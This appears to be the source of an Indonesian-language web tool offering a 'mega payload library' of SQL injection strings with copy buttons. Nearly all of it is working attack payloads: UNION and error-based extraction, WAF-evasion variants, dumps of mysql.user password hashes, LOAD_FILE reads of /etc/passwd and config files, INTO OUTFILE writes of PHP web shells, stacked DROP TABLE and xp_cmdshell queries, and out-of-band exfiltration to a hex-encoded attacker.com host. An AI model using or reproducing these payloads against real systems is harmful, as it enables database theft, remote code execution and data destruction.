SQL Injection Lib
mega payload library — 300+ payload
Klik tombol untuk generate payload. Copy payload dari output box.
Klik tombol di atas buat generate payload.
// Preview & Inject
',
kolom: '+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20--+-',
mydios: 'make_set(6,@:=0x0a,(select(1)from(information_schema.columns)where@:=make_set(511,@,0x3c6c693e,table_name,column_name)),@)',
hx: '+UNION+SELECT+0x61646d696e--+-',
cn: '+UNION+SELECT+CONVERT(0x61646d696e+USING+utf8)--+-',
cs: '+UNION+SELECT+CAST(0x61646d696e+AS+CHAR)--+-',
cp: '+UNION+SELECT+COMPRESS(0x61646d696e)--+-',
aes: '+UNION+SELECT+AES_ENCRYPT(0x61646d696e,0x6b6579)--+-',
md5: '+UNION+SELECT+MD5(0x61646d696e)--+-',
sha1: '+UNION+SELECT+SHA1(0x61646d696e)--+-',
// FILE
loadfile: '+UNION+SELECT+LOAD_FILE(0x2f6574632f706173737764)--+-',
loadfile2: '+UNION+SELECT+LOAD_FILE(0x433a5c77696e646f77735c77696e2e696e69)--+-',
loadfile3: '+UNION+SELECT+LOAD_FILE(0x2f7661722f7777772f68746d6c2f636f6e6669672e706870)--+-',
outfile: '+UNION+SELECT+0x3c3f7068702b73797374656d28245f4745545b635d293b3f3e+INTO+OUTFILE+0x2f7661722f7777772f68746d6c2f7368656c6c2e706870--+-',
dumpfile: '+UNION+SELECT+0x3c3f7068702b6576616c28245f524551554553545b315d293b3f3e+INTO+DUMPFILE+0x2f7661722f7777772f68746d6c2f612e706870--+-',
// PRIVILEGE
priv1: '+UNION+SELECT+GROUP_CONCAT(user,0x3a,authentication_string)+FROM+mysql.user--+-',
priv2: '+UNION+SELECT+GROUP_CONCAT(grantee,0x3a,privilege_type)+FROM+information_schema.user_privileges--+-',
priv3: '+UNION+SELECT+GROUP_CONCAT(super_priv,0x3a,file_priv)+FROM+mysql.user--+-',
priv4: '+UNION+SELECT+GROUP_CONCAT(host,0x3a,user)+FROM+mysql.user--+-',
// WAF - UNION
union1: '+/*!50000union*/+/*!50000select*/+1,2,3,4,5,6,7,8,9,10--+-',
union2: '+union/**/select/**/1,2,3,4,5,6,7,8,9,10--+-',
union3: '+union%0aselect%0a1,2,3,4,5,6,7,8,9,10--+-',
union4: '+union%09select%091,2,3,4,5,6,7,8,9,10--+-',
union5: '+UNION(SELECT+1,2,3,4,5,6,7,8,9,10)--+-',
union6: '+UnIoN+SeLeCt+1,2,3,4,5,6,7,8,9,10--+-',
union7: '+UNION%23%0ASELECT+1,2,3,4,5,6,7,8,9,10--+-',
union8: '+UNI%61ON+SEL%61CT+1,2,3,4,5,6,7,8,9,10--+-',
union9: '+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--+-',
union10: '+/*!UNION*//*!SELECT*/+1,2,3,4,5,6,7,8,9,10--+-',
// SPACE
space1: '/**/AND/**/1=1/**/--/**/',
space2: '%0aAND%0a1=1%0a--%0a',
space3: '%09AND%091=1%09--%09',
space4: '+AND(1=1)--+-',
space5: '%0dAND%0d1=1%0d--%0d',
// KEYWORD
kw1: '+/*!50000AND*/+/*!500001=1*/--+-',
kw2: '+A/**/ND+1=1--+-',
kw3: '+AnD+1=1--+-',
kw4: '+%41%4e%44+1=1--+-',
kw5: '+%2541%254e%2544+1=1--+-',
// ORDER
order1: '+order+by+1--+-',
order2: '+order+by+100--+-',
order3: '+/*!50000order*/+/*!50000by*/+1--+-',
userr: '+/*!50000UNION*/+/*!50000SELECT*/+user()--+-',
dtba: '+/*!50000UNION*/+/*!50000SELECT*/+database()--+-',
ver: '+/*!50000UNION*/+/*!50000SELECT*/+version()--+-',
// TECHNIQUE
bool1: '+AND+1=1--+-',
bool2: '+AND+1=2--+-',
bool3: "+AND+(SELECT+SUBSTRING(user(),1,1))=0x72--+-",
bool4: "+AND+ASCII(SUBSTRING(database(),1,1))=100--+-",
bool5: "+AND+(SELECT+COUNT(*)FROM+information_schema.tables+WHERE+table_schema=database())>0--+-",
bool6: "+AND+LENGTH(database())>0--+-",
time1: "+AND+SLEEP(5)--+-",
time2: "+AND+IF(1=1,SLEEP(5),0)--+-",
time3: "+AND+(SELECT+1+FROM+(SELECT+SLEEP(5))a)--+-",
time4: "+AND+BENCHMARK(10000000,MD5(0x41))--+-",
time5: "';WAITFOR+DELAY+'0:0:5'--+-",
time6: "+AND+pg_sleep(5)--+-",
err1: 'AND+updatexml(1,concat(0x7e,(SELECT+@@version),0x7e),1)--+-',
err2: 'AND+extractvalue(1,concat(0x7e,(SELECT+@@version),0x7e))--+-',
err3: 'AND+(SELECT+1+FROM(SELECT+COUNT(*),CONCAT(0x3a,(SELECT+user()),0x3a,FLOOR(RAND(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)--+-',
err4: 'AND+exp(~(SELECT+*+FROM+(SELECT+version())a))--+-',
err5: 'AND+GTID_SUBSET(CONCAT(0x7e,(SELECT+@@version)),1)--+-',
err6: 'AND+(SELECT+1+FROM(SELECT+COUNT(*),CONCAT((SELECT+@@version),FLOOR(RAND(0)*2))x+FROM+information_schema.tables+GROUP+BY+x)a)--+-',
stack1: "';SELECT+@@version--+-",
stack2: "';INSERT+INTO+users(username,password)+VALUES(0x61646d696e,0x61646d696e)--+-",
stack3: "';DROP+TABLE+users--+-",
stack4: "';UPDATE+users+SET+password=0x61+WHERE+username=0x61646d696e--+-",
stack5: "';EXEC+xp_cmdshell+0x77686f616d69--+-",
oob1: "(SELECT+LOAD_FILE(CONCAT(0x5c5c,(SELECT+user()),0x2e61747461636b65722e636f6d5c5c61)))",
oob2: "(SELECT+LOAD_FILE(CONCAT(0x5c5c,(SELECT+database()),0x2e61747461636b65722e636f6d5c5c62)))",
oob3: "(SELECT+UTL_INADDR.GET_HOST_ADDRESS((SELECT+user())+||+0x2e61747461636b65722e636f6d)+FROM+dual)",
oob4: "(SELECT+UTL_HTTP.REQUEST((SELECT+user())+||+0x2e61747461636b65722e636f6d)+FROM+dual)",
oob5: "(SELECT+xp_dirtree(0x5c5c61747461636b65722e636f6d5c5c61))"
};
function switchTab(e, tabId) {
var btns = document.querySelectorAll('.tab-btn');
for (var i = 0; i < btns.length; i++) btns[i].classList.remove('active');
e.target.classList.add('active');
var panes = document.querySelectorAll('.tab-pane');
for (var j = 0; j < panes.length; j++) panes[j].classList.remove('active');
document.getElementById(tabId).classList.add('active');
}
function setPayload(key) {
var box = document.getElementById('dios');
if (payloads[key]) {
box.textContent = payloads[key];
} else {
box.textContent = 'Payload tidak ditemukan untuk key: ' + key;
}
}
function copy2() {
var box = document.getElementById('dios');
var text = box.textContent;
var ok = false;
try {
var range = document.createRange();
range.selectNodeContents(box);
var sel = window.getSelection();
sel.removeAllRanges();
sel.addRange(range);
ok = document.execCommand('copy');
sel.removeAllRanges();
} catch(e) { ok = false; }
if (navigator.clipboard) {
navigator.clipboard.writeText(text).then(function() {
box.style.borderColor = '#39ff14';
setTimeout(function() { box.style.borderColor = 'rgba(0,255,240,0.15)'; }, 800);
}).catch(function(){});
} else if (ok) {
box.style.borderColor = '#39ff14';
setTimeout(function() { box.style.borderColor = 'rgba(0,255,240,0.15)'; }, 800);
}
}
function clearOutput() {
document.getElementById('dios').textContent = 'Klik tombol di atas buat generate payload.';
}